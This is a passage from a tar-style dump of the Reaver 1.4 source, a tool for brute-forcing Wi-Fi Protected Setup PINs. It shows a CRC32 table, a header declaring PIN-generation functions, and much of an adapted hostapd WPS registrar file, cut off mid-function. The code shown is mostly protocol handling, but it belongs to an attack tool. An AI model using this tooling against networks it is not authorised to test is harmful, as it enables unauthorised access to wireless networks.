0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d }; #define UPDC32(octet,crc) (crc_32_tab[((crc) ^ (octet)) & 0xff] ^ ((crc) >> 8)) uint32_t crc32(char *buf, size_t len) { uint32_t crc = 0xFFFFFFFF; for ( ; len; --len, ++buf) { crc = UPDC32(*buf, crc); } return crc; } reaver-1.4/src/pins.h0000644000175000017500000000354211705505257014120 0ustar reaverreaver/* * Reaver - WPS PIN functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef PINS_H #define PINS_H #include "defs.h" #include "globule.h" #include "keys.h" #define PIN_SIZE 8 /* Defined in keys.c */ extern struct key k1[P1_SIZE]; extern struct key k2[P2_SIZE]; char *build_wps_pin(); char *build_next_pin(); void generate_pins(); #endif reaver-1.4/src/wps/0000755000175000017500000000000011705505257013603 5ustar reaverreaverreaver-1.4/src/wps/wps_registrar.c0000755000175000017500000022743511705505257016662 0ustar reaverreaver/* * Wi-Fi Protected Setup - Registrar * Copyright (c) 2008-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/base64.h" #include "utils/eloop.h" #include "utils/uuid.h" #include "utils/list.h" #include "crypto/crypto.h" #include "crypto/sha256.h" #include "common/ieee802_11_defs.h" #include "wps_i.h" #include "wps_dev_attr.h" #include "../misc.h" #define WPS_WORKAROUNDS struct wps_uuid_pin { struct dl_list list; u8 uuid[WPS_UUID_LEN]; int wildcard_uuid; u8 *pin; size_t pin_len; #define PIN_LOCKED BIT(0) #define PIN_EXPIRES BIT(1) int flags; struct os_time expiration; }; static void wps_free_pin(struct wps_uuid_pin *pin) { os_free(pin->pin); os_free(pin); } static void wps_remove_pin(struct wps_uuid_pin *pin) { dl_list_del(&pin->list); wps_free_pin(pin); } static void wps_free_pins(struct dl_list *pins) { struct wps_uuid_pin *pin, *prev; dl_list_for_each_safe(pin, prev, pins, struct wps_uuid_pin, list) wps_remove_pin(pin); } struct wps_pbc_session { struct wps_pbc_session *next; u8 addr[ETH_ALEN]; u8 uuid_e[WPS_UUID_LEN]; struct os_time timestamp; }; static void wps_free_pbc_sessions(struct wps_pbc_session *pbc) { struct wps_pbc_session *prev; while (pbc) { prev = pbc; pbc = pbc->next; os_free(prev); } } struct wps_registrar_device { struct wps_registrar_device *next; struct wps_device_data dev; u8 uuid[WPS_UUID_LEN]; }; struct wps_registrar { struct wps_context *wps; int pbc; int selected_registrar; int (*new_psk_cb)(void *ctx, const u8 *mac_addr, const u8 *psk, size_t psk_len); int (*set_ie_cb)(void *ctx, struct wpabuf *beacon_ie, struct wpabuf *probe_resp_ie); void (*pin_needed_cb)(void *ctx, const u8 *uuid_e, const struct wps_device_data *dev); void (*reg_success_cb)(void *ctx, const u8 *mac_addr, const u8 *uuid_e); void (*set_sel_reg_cb)(void *ctx, int sel_reg, u16 dev_passwd_id, u16 sel_reg_config_methods); void (*enrollee_seen_cb)(void *ctx, const u8 *addr, const u8 *uuid_e, const u8 *pri_dev_type, u16 config_methods, u16 dev_password_id, u8 request_type, const char *dev_name); void *cb_ctx; struct dl_list pins; struct wps_pbc_session *pbc_sessions; int skip_cred_build; struct wpabuf *extra_cred; int disable_auto_conf; int sel_reg_union; int sel_reg_dev_password_id_override; int sel_reg_config_methods_override; int static_wep_only; struct wps_registrar_device *devices; int force_pbc_overlap; }; static int wps_set_ie(struct wps_registrar *reg); static void wps_registrar_pbc_timeout(void *eloop_ctx, void *timeout_ctx); static void wps_registrar_set_selected_timeout(void *eloop_ctx, void *timeout_ctx); static void wps_free_devices(struct wps_registrar_device *dev) { struct wps_registrar_device *prev; while (dev) { prev = dev; dev = dev->next; wps_device_data_free(&prev->dev); os_free(prev); } } static struct wps_registrar_device * wps_device_get(struct wps_registrar *reg, const u8 *addr) { struct wps_registrar_device *dev; for (dev = reg->devices; dev; dev = dev->next) { if (os_memcmp(dev->dev.mac_addr, addr, ETH_ALEN) == 0) return dev; } return NULL; } static void wps_device_clone_data(struct wps_device_data *dst, struct wps_device_data *src) { os_memcpy(dst->mac_addr, src->mac_addr, ETH_ALEN); os_memcpy(dst->pri_dev_type, src->pri_dev_type, WPS_DEV_TYPE_LEN); #define WPS_STRDUP(n) \ os_free(dst->n); \ dst->n = src->n ? os_strdup(src->n) : NULL WPS_STRDUP(device_name); WPS_STRDUP(manufacturer); WPS_STRDUP(model_name); WPS_STRDUP(model_number); WPS_STRDUP(serial_number); #undef WPS_STRDUP } int wps_device_store(struct wps_registrar *reg, struct wps_device_data *dev, const u8 *uuid) { struct wps_registrar_device *d; d = wps_device_get(reg, dev->mac_addr); if (d == NULL) { d = os_zalloc(sizeof(*d)); if (d == NULL) return -1; d->next = reg->devices; reg->devices = d; } wps_device_clone_data(&d->dev, dev); os_memcpy(d->uuid, uuid, WPS_UUID_LEN); return 0; } static void wps_registrar_add_pbc_session(struct wps_registrar *reg, const u8 *addr, const u8 *uuid_e) { struct wps_pbc_session *pbc, *prev = NULL; struct os_time now; os_get_time(&now); pbc = reg->pbc_sessions; while (pbc) { if (os_memcmp(pbc->addr, addr, ETH_ALEN) == 0 && os_memcmp(pbc->uuid_e, uuid_e, WPS_UUID_LEN) == 0) { if (prev) prev->next = pbc->next; else reg->pbc_sessions = pbc->next; break; } prev = pbc; pbc = pbc->next; } if (!pbc) { pbc = os_zalloc(sizeof(*pbc)); if (pbc == NULL) return; os_memcpy(pbc->addr, addr, ETH_ALEN); if (uuid_e) os_memcpy(pbc->uuid_e, uuid_e, WPS_UUID_LEN); } pbc->next = reg->pbc_sessions; reg->pbc_sessions = pbc; pbc->timestamp = now; /* remove entries that have timed out */ prev = pbc; pbc = pbc->next; while (pbc) { if (now.sec > pbc->timestamp.sec + WPS_PBC_WALK_TIME) { prev->next = NULL; wps_free_pbc_sessions(pbc); break; } prev = pbc; pbc = pbc->next; } } static void wps_registrar_remove_pbc_session(struct wps_registrar *reg, const u8 *addr, const u8 *uuid_e) { struct wps_pbc_session *pbc, *prev = NULL; pbc = reg->pbc_sessions; while (pbc) { if (os_memcmp(pbc->addr, addr, ETH_ALEN) == 0 && os_memcmp(pbc->uuid_e, uuid_e, WPS_UUID_LEN) == 0) { if (prev) prev->next = pbc->next; else reg->pbc_sessions = pbc->next; os_free(pbc); break; } prev = pbc; pbc = pbc->next; } } static int wps_registrar_pbc_overlap(struct wps_registrar *reg, const u8 *addr, const u8 *uuid_e) { int count = 0; struct wps_pbc_session *pbc; struct os_time now; os_get_time(&now); for (pbc = reg->pbc_sessions; pbc; pbc = pbc->next) { if (now.sec > pbc->timestamp.sec + WPS_PBC_WALK_TIME) break; if (addr == NULL || os_memcmp(addr, pbc->addr, ETH_ALEN) || uuid_e == NULL || os_memcmp(uuid_e, pbc->uuid_e, WPS_UUID_LEN)) count++; } if (addr || uuid_e) count++; return count > 1 ? 1 : 0; } static int wps_build_wps_state(struct wps_context *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Wi-Fi Protected Setup State (%d)", wps->wps_state); wpabuf_put_be16(msg, ATTR_WPS_STATE); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, wps->wps_state); return 0; } #ifdef CONFIG_WPS_UPNP static void wps_registrar_free_pending_m2(struct wps_context *wps) { struct upnp_pending_message *p, *p2, *prev = NULL; p = wps->upnp_msgs; while (p) { if (p->type == WPS_M2 || p->type == WPS_M2D) { if (prev == NULL) wps->upnp_msgs = p->next; else prev->next = p->next; wpa_printf(MSG_DEBUG, "WPS UPnP: Drop pending M2/M2D"); p2 = p; p = p->next; wpabuf_free(p2->msg); os_free(p2); continue; } prev = p; p = p->next; } } #endif /* CONFIG_WPS_UPNP */ static int wps_build_ap_setup_locked(struct wps_context *wps, struct wpabuf *msg) { if (wps->ap_setup_locked) { wpa_printf(MSG_DEBUG, "WPS: * AP Setup Locked"); wpabuf_put_be16(msg, ATTR_AP_SETUP_LOCKED); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, 1); } return 0; } static int wps_build_selected_registrar(struct wps_registrar *reg, struct wpabuf *msg) { if (!reg->sel_reg_union) return 0; wpa_printf(MSG_DEBUG, "WPS: * Selected Registrar"); wpabuf_put_be16(msg, ATTR_SELECTED_REGISTRAR); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, 1); return 0; } static int wps_build_sel_reg_dev_password_id(struct wps_registrar *reg, struct wpabuf *msg) { u16 id = reg->pbc ? DEV_PW_PUSHBUTTON : DEV_PW_DEFAULT; if (!reg->sel_reg_union) return 0; if (reg->sel_reg_dev_password_id_override >= 0) id = reg->sel_reg_dev_password_id_override; wpa_printf(MSG_DEBUG, "WPS: * Device Password ID (%d)", id); wpabuf_put_be16(msg, ATTR_DEV_PASSWORD_ID); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, id); return 0; } static int wps_build_sel_reg_config_methods(struct wps_registrar *reg, struct wpabuf *msg) { u16 methods; if (!reg->sel_reg_union) return 0; methods = reg->wps->config_methods & ~WPS_CONFIG_PUSHBUTTON; if (reg->pbc) methods |= WPS_CONFIG_PUSHBUTTON; if (reg->sel_reg_config_methods_override >= 0) methods = reg->sel_reg_config_methods_override; wpa_printf(MSG_DEBUG, "WPS: * Selected Registrar Config Methods (%x)", methods); wpabuf_put_be16(msg, ATTR_SELECTED_REGISTRAR_CONFIG_METHODS); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, methods); return 0; } static int wps_build_probe_config_methods(struct wps_registrar *reg, struct wpabuf *msg) { u16 methods; /* * These are the methods that the AP supports as an Enrollee for adding * external Registrars. */ methods = reg->wps->config_methods & ~WPS_CONFIG_PUSHBUTTON; wpa_printf(MSG_DEBUG, "WPS: * Config Methods (%x)", methods); wpabuf_put_be16(msg, ATTR_CONFIG_METHODS); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, methods); return 0; } static int wps_build_config_methods_r(struct wps_registrar *reg, struct wpabuf *msg) { u16 methods; if(reg == NULL) { return 0; } methods = WPS_CONFIG_LABEL | WPS_CONFIG_DISPLAY | WPS_CONFIG_PUSHBUTTON; /* methods = reg->wps->config_methods & ~WPS_CONFIG_PUSHBUTTON; if (reg->pbc) methods |= WPS_CONFIG_PUSHBUTTON; */ return wps_build_config_methods(msg, methods); } /** * wps_registrar_init - Initialize WPS Registrar data * @wps: Pointer to longterm WPS context * @cfg: Registrar configuration * Returns: Pointer to allocated Registrar data or %NULL on failure * * This function is used to initialize WPS Registrar functionality. It can be * used for a single Registrar run (e.g., when run in a supplicant) or multiple * runs (e.g., when run as an internal Registrar in an AP). Caller is * responsible for freeing the returned data with wps_registrar_deinit() when * Registrar functionality is not needed anymore. */ struct wps_registrar * wps_registrar_init(struct wps_context *wps, const struct wps_registrar_config *cfg) { struct wps_registrar *reg = os_zalloc(sizeof(*reg)); if (reg == NULL) return NULL; dl_list_init(®->pins); reg->wps = wps; reg->new_psk_cb = cfg->new_psk_cb; reg->set_ie_cb = cfg->set_ie_cb; reg->pin_needed_cb = cfg->pin_needed_cb; reg->reg_success_cb = cfg->reg_success_cb; reg->set_sel_reg_cb = cfg->set_sel_reg_cb; reg->enrollee_seen_cb = cfg->enrollee_seen_cb; reg->cb_ctx = cfg->cb_ctx; reg->skip_cred_build = cfg->skip_cred_build; if (cfg->extra_cred) { reg->extra_cred = wpabuf_alloc_copy(cfg->extra_cred, cfg->extra_cred_len); if (reg->extra_cred == NULL) { os_free(reg); return NULL; } } reg->disable_auto_conf = cfg->disable_auto_conf; reg->sel_reg_dev_password_id_override = -1; reg->sel_reg_config_methods_override = -1; reg->static_wep_only = cfg->static_wep_only; if (wps_set_ie(reg)) { wps_registrar_deinit(reg); return NULL; } return reg; } /** * wps_registrar_deinit - Deinitialize WPS Registrar data * @reg: Registrar data from wps_registrar_init() */ void wps_registrar_deinit(struct wps_registrar *reg) { if (reg == NULL) return; eloop_cancel_timeout(wps_registrar_pbc_timeout, reg, NULL); eloop_cancel_timeout(wps_registrar_set_selected_timeout, reg, NULL); wps_free_pins(®->pins); wps_free_pbc_sessions(reg->pbc_sessions); wpabuf_free(reg->extra_cred); wps_free_devices(reg->devices); os_free(reg); } /** * wps_registrar_add_pin - Configure a new PIN for Registrar * @reg: Registrar data from wps_registrar_init() * @uuid: UUID-E or %NULL for wildcard (any UUID) * @pin: PIN (Device Password) * @pin_len: Length of pin in octets * @timeout: Time (in seconds) when the PIN will be invalidated; 0 = no timeout * Returns: 0 on success, -1 on failure */ int wps_registrar_add_pin(struct wps_registrar *reg, const u8 *uuid, const u8 *pin, size_t pin_len, int timeout) { struct wps_uuid_pin *p; if(reg == NULL) return -1; p = os_zalloc(sizeof(*p)); if (p == NULL) return -1; if (uuid == NULL) p->wildcard_uuid = 1; else os_memcpy(p->uuid, uuid, WPS_UUID_LEN); p->pin = os_malloc(pin_len); if (p->pin == NULL) { os_free(p); return -1; } os_memcpy(p->pin, pin, pin_len); p->pin_len = pin_len; if (timeout) { p->flags |= PIN_EXPIRES; os_get_time(&p->expiration); p->expiration.sec += timeout; } dl_list_add(®->pins, &p->list); wpa_printf(MSG_DEBUG, "WPS: A new PIN configured (timeout=%d)", timeout); wpa_hexdump(MSG_DEBUG, "WPS: UUID", uuid, WPS_UUID_LEN); wpa_hexdump_ascii_key(MSG_DEBUG, "WPS: PIN", pin, pin_len); reg->selected_registrar = 1; reg->pbc = 0; wps_registrar_selected_registrar_changed(reg); /* @@@ HACK: We don't use these registrar timeouts, so calling these eloop * functions causes a seg fault. */ /*eloop_cancel_timeout(wps_registrar_set_selected_timeout, reg, NULL); eloop_register_timeout(WPS_PBC_WALK_TIME, 0, wps_registrar_set_selected_timeout, reg, NULL); */ return 0; } static void wps_registrar_expire_pins(struct wps_registrar *reg) { struct wps_uuid_pin *pin, *prev; struct os_time now; if(reg != NULL) { os_get_time(&now); dl_list_for_each_safe(pin, prev, ®->pins, struct wps_uuid_pin, list) { if(pin != NULL) { if ((pin->flags & PIN_EXPIRES) && os_time_before(&pin->expiration, &now)) { wpa_hexdump(MSG_DEBUG, "WPS: Expired PIN for UUID", pin->uuid, WPS_UUID_LEN); wps_remove_pin(pin); } } } } } /** * wps_registrar_invalidate_pin - Invalidate a PIN for a specific UUID-E * @reg: Registrar data from wps_registrar_init() * @uuid: UUID-E * Returns: 0 on success, -1 on failure (e.g., PIN not found) */ int wps_registrar_invalidate_pin(struct wps_registrar *reg, const u8 *uuid) { struct wps_uuid_pin *pin, *prev; if(reg == NULL) return -1; dl_list_for_each_safe(pin, prev, ®->pins, struct wps_uuid_pin, list) { if (os_memcmp(pin->uuid, uuid, WPS_UUID_LEN) == 0) { wpa_hexdump(MSG_DEBUG, "WPS: Invalidated PIN for UUID", pin->uuid, WPS_UUID_LEN); wps_remove_pin(pin); return 0; } } return -1; } static const u8 * wps_registrar_get_pin(struct wps_registrar *reg, const u8 *uuid, size_t *pin_len) { struct wps_uuid_pin *pin, *found = NULL; if(reg == NULL) return NULL; wps_registrar_expire_pins(reg); dl_list_for_each(pin, ®->pins, struct wps_uuid_pin, list) { if (!pin->wildcard_uuid && os_memcmp(pin->uuid, uuid, WPS_UUID_LEN) == 0) { found = pin; break; } } if (!found) { /* Check for wildcard UUIDs since none of the UUID-specific * PINs matched */ dl_list_for_each(pin, ®->pins, struct wps_uuid_pin, list) { if (pin->wildcard_uuid == 1) { wpa_printf(MSG_DEBUG, "WPS: Found a wildcard " "PIN. Assigned it for this UUID-E"); pin->wildcard_uuid = 2; os_memcpy(pin->uuid, uuid, WPS_UUID_LEN); found = pin; break; } } } if (!found) return NULL; /* * Lock the PIN to avoid attacks based on concurrent re-use of the PIN * that could otherwise avoid PIN invalidations. */ if (found->flags & PIN_LOCKED) { wpa_printf(MSG_DEBUG, "WPS: Selected PIN locked - do not " "allow concurrent re-use"); return NULL; } *pin_len = found->pin_len; found->flags |= PIN_LOCKED; return found->pin; } /** * wps_registrar_unlock_pin - Unlock a PIN for a specific UUID-E * @reg: Registrar data from wps_registrar_init() * @uuid: UUID-E * Returns: 0 on success, -1 on failure * * PINs are locked to enforce only one concurrent use. This function unlocks a * PIN to allow it to be used again. If the specified PIN was configured using * a wildcard UUID, it will be removed instead of allowing multiple uses. */ int wps_registrar_unlock_pin(struct wps_registrar *reg, const u8 *uuid) { struct wps_uuid_pin *pin; if(reg != NULL) { dl_list_for_each(pin, ®->pins, struct wps_uuid_pin, list) { if (os_memcmp(pin->uuid, uuid, WPS_UUID_LEN) == 0) { if (pin->wildcard_uuid == 2) { wpa_printf(MSG_DEBUG, "WPS: Invalidating used " "wildcard PIN"); return wps_registrar_invalidate_pin(reg, uuid); } pin->flags &= ~PIN_LOCKED; return 0; } } } return -1; } static void wps_registrar_stop_pbc(struct wps_registrar *reg) { if(reg != NULL) { reg->selected_registrar = 0; reg->pbc = 0; wps_registrar_selected_registrar_changed(reg); } } static void wps_registrar_pbc_timeout(void *eloop_ctx, void *timeout_ctx) { struct wps_registrar *reg = eloop_ctx; if(reg != NULL) { wpa_printf(MSG_DEBUG, "WPS: PBC timed out - disable PBC mode"); wps_pbc_timeout_event(reg->wps); wps_registrar_stop_pbc(reg); } } /** * wps_registrar_button_pushed - Notify Registrar that AP button was pushed * @reg: Registrar data from wps_registrar_init() * Returns: 0 on success, -1 on failure * * This function is called on an AP when a push button is pushed to activate * PBC mode. The PBC mode will be stopped after walk time (2 minutes) timeout * or when a PBC registration is completed. */ int wps_registrar_button_pushed(struct wps_registrar *reg) { if(reg == NULL) return -1; if (wps_registrar_pbc_overlap(reg, NULL, NULL)) { wpa_printf(MSG_DEBUG, "WPS: PBC overlap - do not start PBC " "mode"); wps_pbc_overlap_event(reg->wps); return -1; } wpa_printf(MSG_DEBUG, "WPS: Button pushed - PBC mode started"); reg->force_pbc_overlap = 0; reg->selected_registrar = 1; reg->pbc = 1; wps_registrar_selected_registrar_changed(reg); eloop_cancel_timeout(wps_registrar_pbc_timeout, reg, NULL); eloop_register_timeout(WPS_PBC_WALK_TIME, 0, wps_registrar_pbc_timeout, reg, NULL); return 0; } static void wps_registrar_pbc_completed(struct wps_registrar *reg) { if(reg != NULL) { wpa_printf(MSG_DEBUG, "WPS: PBC completed - stopping PBC mode"); eloop_cancel_timeout(wps_registrar_pbc_timeout, reg, NULL); wps_registrar_stop_pbc(reg); } } static void wps_registrar_pin_completed(struct wps_registrar *reg) { if(reg != NULL) { wpa_printf(MSG_DEBUG, "WPS: PIN completed using internal Registrar"); eloop_cancel_timeout(wps_registrar_set_selected_timeout, reg, NULL); reg->selected_registrar = 0; wps_registrar_selected_registrar_changed(reg); } } /** * wps_registrar_probe_req_rx - Notify Registrar of Probe Request * @reg: Registrar data from wps_registrar_init() * @addr: MAC address of the Probe Request sender * @wps_data: WPS IE contents * * This function is called on an AP when a Probe Request with WPS IE is * received. This is used to track PBC mode use and to detect possible overlap * situation with other WPS APs. */ void wps_registrar_probe_req_rx(struct wps_registrar *reg, const u8 *addr, const struct wpabuf *wps_data) { struct wps_parse_attr attr; if(reg == NULL) return; wpa_hexdump_buf(MSG_MSGDUMP, "WPS: Probe Request with WPS data received", wps_data); if (wps_parse_msg(wps_data, &attr) < 0) return; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported ProbeReq WPS IE " "version 0x%x", attr.version ? *attr.version : 0); return; } if (attr.config_methods == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Config Methods attribute in " "Probe Request"); return; } if (attr.dev_password_id == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Device Password Id attribute " "in Probe Request"); return; } if (reg->enrollee_seen_cb && attr.uuid_e && attr.primary_dev_type && attr.request_type) { char *dev_name = NULL; if (attr.dev_name) { dev_name = os_zalloc(attr.dev_name_len + 1); if (dev_name) { os_memcpy(dev_name, attr.dev_name, attr.dev_name_len); } } reg->enrollee_seen_cb(reg->cb_ctx, addr, attr.uuid_e, attr.primary_dev_type, WPA_GET_BE16(attr.config_methods), WPA_GET_BE16(attr.dev_password_id), *attr.request_type, dev_name); os_free(dev_name); } if (WPA_GET_BE16(attr.dev_password_id) != DEV_PW_PUSHBUTTON) return; /* Not PBC */ wpa_printf(MSG_DEBUG, "WPS: Probe Request for PBC received from " MACSTR, MAC2STR(addr)); if (attr.uuid_e == NULL) { wpa_printf(MSG_DEBUG, "WPS: Invalid Probe Request WPS IE: No " "UUID-E included"); return; } wps_registrar_add_pbc_session(reg, addr, attr.uuid_e); if (wps_registrar_pbc_overlap(reg, addr, attr.uuid_e)) { wpa_printf(MSG_DEBUG, "WPS: PBC session overlap detected"); reg->force_pbc_overlap = 1; wps_pbc_overlap_event(reg->wps); } } static int wps_cb_new_psk(struct wps_registrar *reg, const u8 *mac_addr, const u8 *psk, size_t psk_len) { if(reg == NULL) return 0; if (reg->new_psk_cb == NULL) return 0; return reg->new_psk_cb(reg->cb_ctx, mac_addr, psk, psk_len); } static void wps_cb_pin_needed(struct wps_registrar *reg, const u8 *uuid_e, const struct wps_device_data *dev) { if(reg == NULL) return; if (reg->pin_needed_cb == NULL) return; reg->pin_needed_cb(reg->cb_ctx, uuid_e, dev); } static void wps_cb_reg_success(struct wps_registrar *reg, const u8 *mac_addr, const u8 *uuid_e) { if(reg == NULL) return; if (reg->reg_success_cb == NULL) return; reg->reg_success_cb(reg->cb_ctx, mac_addr, uuid_e); } static int wps_cb_set_ie(struct wps_registrar *reg, struct wpabuf *beacon_ie, struct wpabuf *probe_resp_ie) { if(reg == NULL) return 0; return reg->set_ie_cb(reg->cb_ctx, beacon_ie, probe_resp_ie); } static void wps_cb_set_sel_reg(struct wps_registrar *reg) { if(reg == NULL) return; wpa_printf(MSG_DEBUG, "WPS: Enter wps_cg_set_sel_reg"); u16 methods = 0; if (reg->set_sel_reg_cb == NULL) { wpa_printf(MSG_DEBUG, "WPS: Leave wps_cg_set_sel_reg early"); return; } wpa_printf(MSG_DEBUG, "WPS: reg->selected_registrar"); if (reg->selected_registrar) { methods = reg->wps->config_methods & ~WPS_CONFIG_PUSHBUTTON; if (reg->pbc) methods |= WPS_CONFIG_PUSHBUTTON; } wpa_printf(MSG_DEBUG, "WPS: reg->set_sel_reg_cb"); reg->set_sel_reg_cb(reg->cb_ctx, reg->selected_registrar, reg->pbc ? DEV_PW_PUSHBUTTON : DEV_PW_DEFAULT, methods); wpa_printf(MSG_DEBUG, "WPS: Leave wps_cg_set_sel_reg"); } /* Encapsulate WPS IE data with one (or more, if needed) IE headers */ static struct wpabuf * wps_ie_encapsulate(struct wpabuf *data) { struct wpabuf *ie; const u8 *pos, *end; ie = wpabuf_alloc(wpabuf_len(data) + 100); if (ie == NULL) { wpabuf_free(data); return NULL; } pos = wpabuf_head(data); end = pos + wpabuf_len(data); while (end > pos) { size_t frag_len = end - pos; if (frag_len > 251) frag_len = 251; wpabuf_put_u8(ie, WLAN_EID_VENDOR_SPECIFIC); wpabuf_put_u8(ie, 4 + frag_len); wpabuf_put_be32(ie, WPS_DEV_OUI_WFA); wpabuf_put_data(ie, pos, frag_len); pos += frag_len; } wpabuf_free(data); return ie; } static int wps_set_ie(struct wps_registrar *reg) { struct wpabuf *beacon; struct wpabuf *probe; if (reg->set_ie_cb == NULL) return 0; wpa_printf(MSG_DEBUG, "WPS: Build Beacon and Probe Response IEs"); beacon = wpabuf_alloc(300); if (beacon == NULL) return -1; probe = wpabuf_alloc(400); if (probe == NULL) { wpabuf_free(beacon); return -1; } if (wps_build_version(beacon) || wps_build_wps_state(reg->wps, beacon) || wps_build_ap_setup_locked(reg->wps, beacon) || wps_build_selected_registrar(reg, beacon) || wps_build_sel_reg_dev_password_id(reg, beacon) || wps_build_sel_reg_config_methods(reg, beacon) || wps_build_version(probe) || wps_build_wps_state(reg->wps, probe) || wps_build_ap_setup_locked(reg->wps, probe) || wps_build_selected_registrar(reg, probe) || wps_build_sel_reg_dev_password_id(reg, probe) || wps_build_sel_reg_config_methods(reg, probe) || wps_build_resp_type(probe, reg->wps->ap ? WPS_RESP_AP : WPS_RESP_REGISTRAR) || wps_build_uuid_e(probe, reg->wps->uuid) || wps_build_device_attrs(®->wps->dev, probe) || wps_build_probe_config_methods(reg, probe) || wps_build_rf_bands(®->wps->dev, probe)) { wpabuf_free(beacon); wpabuf_free(probe); return -1; } beacon = wps_ie_encapsulate(beacon); probe = wps_ie_encapsulate(probe); if (!beacon || !probe) { wpabuf_free(beacon); wpabuf_free(probe); return -1; } if (reg->static_wep_only) { /* * Windows XP and Vista clients can get confused about * EAP-Identity/Request when they probe the network with * EAPOL-Start. In such a case, they may assume the network is * using IEEE 802.1X and prompt user for a certificate while * the correct (non-WPS) behavior would be to ask for the * static WEP key. As a workaround, use Microsoft Provisioning * IE to advertise that legacy 802.1X is not supported. */ const u8 ms_wps[7] = { WLAN_EID_VENDOR_SPECIFIC, 5, /* Microsoft Provisioning IE (00:50:f2:5) */ 0x00, 0x50, 0xf2, 5, 0x00 /* no legacy 802.1X or MS WPS */ }; wpa_printf(MSG_DEBUG, "WPS: Add Microsoft Provisioning IE " "into Beacon/Probe Response frames"); wpabuf_put_data(beacon, ms_wps, sizeof(ms_wps)); wpabuf_put_data(probe, ms_wps, sizeof(ms_wps)); } return wps_cb_set_ie(reg, beacon, probe); } static int wps_get_dev_password(struct wps_data *wps) { const u8 *pin; size_t pin_len = 0; os_free(wps->dev_password); wps->dev_password = NULL; pin = wps_registrar_get_pin(wps->wps->registrar, wps->uuid_e, &pin_len); if (pin == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Device Password available for " "the Enrollee"); if(wps->wps->registrar != NULL) { wps_cb_pin_needed(wps->wps->registrar, wps->uuid_e, &wps->peer_dev); } return -1; } wps->dev_password = os_malloc(pin_len); if (wps->dev_password == NULL) return -1; os_memcpy(wps->dev_password, pin, pin_len); wps->dev_password_len = pin_len; return 0; } static int wps_build_uuid_r(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * UUID-R"); wpabuf_put_be16(msg, ATTR_UUID_R); wpabuf_put_be16(msg, WPS_UUID_LEN); wpabuf_put_data(msg, wps->uuid_r, WPS_UUID_LEN); return 0; } static int wps_build_r_hash(struct wps_data *wps, struct wpabuf *msg) { u8 *hash; const u8 *addr[4]; size_t len[4]; if (os_get_random(wps->snonce, 2 * WPS_SECRET_NONCE_LEN) < 0) return -1; wpa_hexdump(MSG_DEBUG, "WPS: R-S1", wps->snonce, WPS_SECRET_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: R-S2", wps->snonce + WPS_SECRET_NONCE_LEN, WPS_SECRET_NONCE_LEN); if (wps->dh_pubkey_e == NULL || wps->dh_pubkey_r == NULL) { wpa_printf(MSG_DEBUG, "WPS: DH public keys not available for " "R-Hash derivation"); return -1; } wpa_printf(MSG_DEBUG, "WPS: * R-Hash1"); wpabuf_put_be16(msg, ATTR_R_HASH1); wpabuf_put_be16(msg, SHA256_MAC_LEN); hash = wpabuf_put(msg, SHA256_MAC_LEN); /* R-Hash1 = HMAC_AuthKey(R-S1 || PSK1 || PK_E || PK_R) */ addr[0] = wps->snonce; len[0] = WPS_SECRET_NONCE_LEN; addr[1] = wps->psk1; len[1] = WPS_PSK_LEN; addr[2] = wpabuf_head(wps->dh_pubkey_e); len[2] = wpabuf_len(wps->dh_pubkey_e); addr[3] = wpabuf_head(wps->dh_pubkey_r); len[3] = wpabuf_len(wps->dh_pubkey_r); 